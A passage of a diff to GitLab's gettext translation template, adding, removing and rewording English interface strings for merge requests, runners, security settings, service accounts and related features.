msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
